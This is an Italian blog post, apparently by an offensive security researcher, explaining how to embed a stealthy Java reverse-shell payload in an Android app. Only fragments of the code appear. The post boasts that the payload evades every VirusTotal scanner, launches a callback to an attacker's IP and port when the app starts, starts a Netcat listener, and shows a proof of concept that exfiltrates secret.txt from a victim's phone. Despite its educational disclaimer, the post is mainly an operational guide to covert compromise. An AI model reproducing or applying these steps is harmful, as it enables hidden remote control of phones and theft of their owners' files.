Un Payload Stealthy Java Reverse Shell per Android 13 e versioni precedenti senza utilizzare Msfvenom

Jan 20 2023
Dichiarazione di non responsabilità: questo post è solo a scopo informativo ed educativo e per coloro che sono disposti e curiosi di conoscere e conoscere Android e Mobile Security. NON tentare di violare la legge con qualsiasi cosa qui contenuta poiché sei l'unico responsabile delle tue azioni.

Dichiarazione di non responsabilità: questo post è solo a scopo informativo ed educativo e per coloro che sono disposti e curiosi di conoscere e conoscere Android e Mobile Security. NON tentare di violare la legge con qualsiasi cosa qui contenuta poiché sei l'unico responsabile delle tue azioni .

Sono Rui Heng , amante della sicurezza offensiva e ricercatore di sicurezza. Nel mio primo post, dimostrerò un modo semplice per scrivere il tuo payload shell inverso furtivo funzionante sull'ultimo Android 13.0 Tiramisu , seguito da un semplice scenario di prova concettuale. Ho deciso di scrivere questo post a causa della mancanza di commenti sui payload che funzionano senza Msfvenom.

Il payload è testato da Android 4.4 a 13.0 API 33 su Pixel 6 Pro.
A partire dal 17 gennaio 2023, non è rilevabile da tutti i fornitori di sicurezza VirusTotal.

Sappiamo tutti che Msfvenom ha un modulo per incorporare un payload della shell inversa in un APK già compilato. Tuttavia, puoi facilmente scrivere il tuo payload più furtivo direttamente con un IDE come Android Studio con poche righe di codice prima di compilare l'APK, che sarà trattato in questo post.

Il nostro payload personalizzato con 0 rilevamenti su VirusTotal
Payload di Msfvenom con 31 rilevamenti su VirusTotal
Reverse Shell del mio Pixel 6 Pro con Android 13 ottenuto su Kali ospitato su Internet

Resta con me fino in fondo per una semplice prova di concetto!

Passiamo ora alle cose tecniche!

PASSAGGIO 1: Creazione della classe del payload Java (Payload.java)
Per questo payload, creiamo una nuova classe Java utilizzando le librerie java.ioe . java.net.SocketIl codice seguente è ciò di cui abbiamo bisogno per creare il socket e gestire l'input e l'output della shell inversa.

PASSAGGIO 2: creare un thread eseguibile per avviare la shell all'avvio dell'app
Innanzitutto, aggiungere la riga new Thread(runnable).start();alla funzione onCreate in MainActivity.java .

Quindi, aggiungi il codice seguente nella classe MainActivity che crea un oggetto eseguibile e chiama la funzione reverse_tcp dichiarata in Payload.java per avviare il callback della shell inversa. (Sostituisci la parte inferiore con l'indirizzo IP e il numero di porta del listener LHOST)

Runnable runnable = new Runnable() {
        @Override
        public void run() {
            new Payload().reverse_tcp("<IP Address Here>", <Port Number>);
        }
    };

Tuttavia, tieni presente che l'abilitazione di autorizzazioni aggiuntive come android.permission.WRITE_EXTERNAL_STORAGEsblocca più possibilità. Non andremo oltre e questo dipende dalla tua esplorazione.

PASSAGGIO 4: Avvio di un listener e rilevamento della shell inversa
Compila l'APK e installalo sul dispositivo di destinazione. Sulla tua macchina Kali o attaccante, avvia un ascoltatore Netcat con (cambia 444 nella porta che hai impostato). Quindi, all'apertura dell'app, otterrai una shell inversa! Ci sono molte cose che possiamo fare con esso come eseguire comandi adb e Linux. nc -nvlp 444

I comandi Netcat, Curl, Linux e ADB funzionano perfettamente

Nota: se il dispositivo di destinazione è già rootato, otterrai l'accesso come superutente con il controllo COMPLETO . Questo è il rischio aggiuntivo quando si esegue il root del telefono.

Proof of Concept (POC) Time - Un semplice esempio

Nel mio test, ho un server cloud Kali ospitato su Internet e ha rilevato una shell inversa sulla mia vittima Pixel 6 Pro dopo che l'app è stata installata e avviata. Successivamente, utilizzeremo Netcat per esfiltrare un file secret.txt dalla cartella Download della vittima come mostrato di seguito:

Dopo aver ottenuto la shell, utilizziamo nc, che è installato di default sui dispositivi più recenti, per inviare il file secret.txt che si trova nella cartella dei download attraverso la porta 4444. Il listener Netcat di seguito deve essere avviato prima su Kali.
SUCCESSO! secret.txt è stato esfiltrato nella macchina Kali!

Avvolgendo!

È davvero semplice scrivere il proprio payload della shell inversa funzionante anche con l'ultima API 33 di Android e Build 13.0. Sono rimasto sorpreso quando ho provato questo da solo. Ci sono molti diversi POC e idee che puoi fare con una shell come questa anche quando non è privilegiata. È interessante notare che ho appreso che i dispositivi Android più recenti hanno già Netcat installato , il che lo rende un modo estremamente potente per avviare connessioni di rete e trasferimenti di file.

Questo post è stato parte della mia scoperta durante l'esecuzione della mia ricerca e la sperimentazione con le shell inverse di Android.

Se sei arrivato qui, grazie per aver letto!